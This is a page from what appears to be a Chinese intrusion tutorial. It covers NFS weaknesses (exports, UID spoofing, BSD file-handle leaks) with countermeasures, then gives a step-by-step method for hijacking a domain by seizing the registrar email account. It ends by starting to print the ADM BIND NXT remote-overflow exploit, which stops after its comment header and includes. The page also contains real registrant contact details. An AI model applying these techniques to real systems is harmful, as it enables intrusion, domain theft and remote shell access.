|
# showmount -e www.xxx.com 可能结果如下: /usr (everyone) /export/target1 -access=target2 /export/target2 -access=target1 可以把这个NFS server上的/usr目录mount成本地目录: # mount www.xxx.com:/usr /tmp 这表明,/usr目录可以被任何一台机器mount,甚至可能有写的权限;而/export/target1目录指定了主机访问限制,必须是 target2.xxx.com这个机器或者target2这个Netgroup的成员才能mount.入侵者大多都先用这个命令来查询目标上的NFS漏洞,正如对NT的Netview命令一样.值得提醒的是,现在流行的入侵方式已经从以前的对确定目标的攻击方式转为不管对方是谁,只要有机可乘就入侵的方式.入侵者可能会写一个脚本或者一个程序,用来对一大段地址进行扫描,列出结果报告给自己.所以,正确的配置是非常重要的.在Internet上,NFS 设置错误的机器比比皆是.这个配置一般存放于/etc/exports文件或/etc/dfs/dfstab中. 2、来自客户端的NFS请求的用户认证,由用户的UID和所属组的GID组成,这种文件访问的安全验证对于没有开NFS的系统当然是安全的;但是在网上,其它机器的root完全有权在自己的机器上设置这样一个UID,而NFS服务器不管这个UID是不是自己机器上的,只要UID符合,就赋予这个用户对这个文件的操作权.比如,目录 /home/frank只能由UID为501的用户打开读写,而这个目录可以被远程机器mount,那么,这台机器的root用户新增一个UID为501 的用户,然后用这个用户登录并mount该目录,就可以获得相当于NFS server上的UID为501用户操作权限,从而读写/home/frank.要解决这个问题必须正确配置exports,限制客户的主机地址,明确设置rw=host的选项,ro(只读)的选项和access=host的选项. 另外,还有一种UID欺骗,是关于16位UID和32位UID的问题.大多NFS服务接受的来自客户对NFS请求所发送的UID标志都是16位的(Solaris是一个例外),这是不安全的.在这种情况下,如果用一个 32位UID,并把这个UID最左边的位置设置为0,那么,体现在NFS server上,解释为16位的UID,这个UID就相当于root;任何用户引用32位UID并且这个UID最左边的数字是0,那么就可以读/写属于 root的任何文件.要解决这个问题,可以从Sun的正式站点获取#1095935 补丁. 3、以前的文件句柄无须mount守护进程的帮助就可以构造,使客户直接可以和NFS通信.而现在的Unix系统大多进行了改进.但BSD系统还有问题.关于BSD文件句柄的问题涉及BSD OS2.0,2.1,3.0;FreeBSD2.1.5~2.1.7,openBSD2.0和2.0以前.其它一些BSD也可能有类似的问题. 例如在4.4BSD中,与其它的UNix文件系统不同的是,一个文件的信息,除了创建时间、文件大小、连接个数和更新时间等信息外,还有一个st_gen 信息,st_gen是一个4位的值,目的是使NFS文件句柄难于猜到.这个信息是stat(2)系统调用生成的.不幸的是,这个调用用到的一个函数 vn_stat()有问题: ... sb->st_gen = vap->va_gen; sb->st_blocks = vap->va_bytes / S_BLKSIZE; return (0); } 上面这段程序码暴露了用来生成st_gen这个数的所有信息,利用这些信息,未授权用户可以得到文件的句柄.正确的程序应该只允许这些信息暴露给root:
... sb->st_flags = vap->va_flags; if (suser(p->p_ucred, &p->p_acflag)) { sb->st_gen = 0; } else { sb->st_gen = vap->va_gen; } sb->st_blocks = vap->va_bytes / S_BLKSIZE; return (0); }
这样,如果不是root,他只能得到0这个信息. 4、最危险的错误是把含有SUID程序的目录export,并且该文件有执行权.SUID程序相当于超级用户本身.
发掘NFS漏洞的一个很好的工具是nfsshell,他的使用技巧参考作者的另一文章《nfsshell使用技巧》
NFS对策: 和从NT中删除任何共享的解决方案一样,最好的解决方案是禁止NFS服务,或以AFS服务取而代之(Andrew File System). 如果一定要开NFS,不要让一个单机可以既是client,也是server; export出的文件系统只设置为只读 禁止那些有SUID特性的程序的执行 不要export home 目录 不要export可执行特性 在允许某个文件系统的的客户机列表中绝不要加上相应的服务器的本地ip地址或lacalhost 使用一些安全NFS实现方案(虽然未必真的很安全) 打上厂商的最新补丁
--[1.4.6 DNS劫持
DNS是internet及大多数企业上网用的最普遍的服务,无处不在的DNS服务也会招致攻击。
攻击者到底是怎样实施该域名劫持攻击的呢?
1.获得要劫持的域名注册信息 攻击者会先访问网络解决方案公司www.networksolutions.com,通过该公司主页面所提供的MAKE CHANGES功能,输入要查询的域名,获得该域名注册信息以abc.com为例,我们将获得以下信息: Registrant: Capital Cities/ABC,Inc (ABC10-DOM) 77 W 66th St. New York, NY 10023 US Domain Name: ABC.COM Administrative Contact, Billing Contact: King, Thomas C. (SC3123-ORG) abc.legal.internet.registration@ABC.COM ABC, Inc. 77 W 66th St. New York, NY 10023 US 212-456-7012 Technical Contact, Zone Contact: Domain Administrator (DA4894-ORG) dns-admin@STARWAVE.COM Starwave Corporation 13810 SE Eastgate Way, ste. 400 Bellevue, WA 98005 US 206.664.4800 Fax- 206.664.4829 Record last updated on 11-Oct-2000. Record expires on 23-May-2003. Record created on 22-May-1996. Database last updated on 20-Oct-2000 14:14:26 EDT. Domain servers in listed order: DNS1.STARWAVE.COM 204.202.132.51 T.NS.VERIO.NET 192.67.14.16
2.控制该管理域名的E-MAIL帐号 从上面获得的信息,攻击者可了解到abc.com的注册DNS服务器,管理域名的E-MAIL帐号,技术联系E-MAIL帐号等等注册资料,攻击者的重点就是先需要把该管理域名的E-MAIL帐号abc.legal.internet.registration@ABC.COM控制,进行收发在网络解决方案公司networksolutions主页所修改域名注册记录后的确认E-MAIL,对该E-MAIL帐号的控制过程不排除攻击者对该E-MAIL帐号进行密码暴力猜测,对该帐号所在E-MAIL服务器进行入侵攻击.
3.修改该域名在网络解决方案公司的注册信息 到这个时候,攻击者会使用网络解决方案公司networksolutions的MAKE CHANGES功能修改该域名的注册信息,包括拥有者信息,DNS服务器信息,等等.
4.冒充拥有者使用管理域名的E-MAIL帐号收发网络解决方案公司确认函 攻击者会在该管理域名E-MAIL帐号的真正拥有者收到网络解决方案公司确认函之前, 把该E-MAIL帐号的信件接收,使用该E-MAIL帐号回复网络解决方案公司进行确认,进行二次回复确认后,将收到网络解决方案公司发来的成功修改注册记录函,攻击者成功劫持域名
5.在新指定的DNS服务器加进该域名记录 在注册信息新指定DNS服务器里加进该域名的PTR记录,指向另一IP的服务器,通常那两台服务器都是攻击者预先入侵控制的服务器,并不归攻击者所拥有.
另外许多攻击者都通过unix的DNS实现来探访漏洞,最普通的实现方式就是BIND(Berkeley Internet Name Domain)。BIND(Berkeley Internet Name Domain)软件包是域名服务(DNS)的一个应用最广泛的实现软件--我们所有人都通过它来定位Internet上的系统,只需知道域名(如 www.safechina.net)而不用知道IP地址,由此可体会它的重要性--这使它成为最受欢迎的攻击目标。很遗憾,根据1999年中的回顾, Internet上的DNS服务器有50%以上用的是有漏洞的BIND版本。比较典型的BIND攻击的例子是,入侵者抹掉系统记录,安装工具获得管理员级别的访问。他们然后编译安装IRC工具和网络扫描工具,用它们扫描更多的B类网络,找到其它的使用有漏洞版本的BIND的域名服务器。只需几分钟,他们就可以攻入成千上百个远程系统,取得更多的入侵成果。
下面我们看一个BIND验证NXT记录方式中的远程缓冲区溢出工作原理。 先查点 [root@vitter]# dig @ 10.1.1.100 version.bind chaos txt 上述方法会查询named,并确定版本,比如得到目标dns服务器上是named8.2.2。它和8.2和8.1.1都又NXT攻击弱点。 然后攻击者必须控制一个和有效域名相关的NDS服务器,在此例中我们假设攻击者的网络是attackers.org子域为hash,攻击者在称为quake 的系统上运行一个DNS服务器。在这种情况下,攻击者在quake的/var/named/attackers.org.zone中添加如下的项并重起 named: subdomain IN NS hash.attackers.org 而且quake是攻击者控制的DNS服务器。 攻击者编译adm-nex.c(源代码如下)后,必须从有正确架构的单个系统(vitter)上运行该程序,named运行在不同unix版本上,下面是这个程序支持的版本: [root@vitter]# adm-nxt Available architectures: 1: Linux Redhat 6.x - named 8.2/8.2.1 (from rpm) 2: Linux SolarDiz's non-exec stack patch - named 8.2/8.2.1 3: Solaris 7 (0xff) - named 8.2.1 4: Solaris 2.6 - named 8.2.1 5: FreeBSD 3.2-RELEASE - named 8.2 6: OpenBSD 2.5 - named 8.2 7: NetBSD 1.4.1 - named 8.2.1
adm-nex.c的源代码: -----------------------------------adm-nex.c--------------------------------- /* * ADM CONFIDENTIAL -- (ADM Confidential Restricted when * combined with the aggregated modules for this product) * OBJECT CODE ONLY SOURCE MATERIALS * (C) COPYRIGHT ADM Crew. 1999 * All Rights Reserved * * This module may not be used, published, distributed or archived without * the written permission of the ADM Crew. Please contact your local sales * representative. * * ADM named 8.2/8.2.1 NXT remote overflow - horizon/plaguez * * "a misanthropic anthropoid with nothing to say" * * thanks to stran9er for sdnsofw.c * * Intel exploitation is pretty straightforward.. should give you a remote * shell. The shellcode will break chroot, do a getpeername on all open * sockets, and dup to the first one that returns AFINET. It also forks and * runs a command in case the fd duping doesn't go well. Solaris/SPARC is a * bit more complicated.. we are going through a well trodden part of the * code, so we don't get the context switch we need to have it populate the * register windows from the stack. However, if you just hammer the service * with requests, you will quickly get a context switch at the right time. * Thus, the SPARC shellcode currently only breaks chroot, closes current * fd's and runs a command. * Also, the NetBSD shellcode doesn't break chroot because they stop the * dir tricks. Of course, they allow mknods in chrooted environments, so * if named is running as root, then it still might be expoitable. * The non-exec stack patch version returns into a malloc'ed buffer, whose * address can vary quite alot. Thus, it may not be as reliable as the other * versions.. * * We broke this just a little in order to raise the bar on using it * (just slightly).. If you'd like to test it on your own box, put a shell * in /adm/sh, or /adm/ksh for solaris on the target machine. */
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <signal.h>
共6页: 上一页 [1] [2] 3 [4] [5] [6] 下一页
|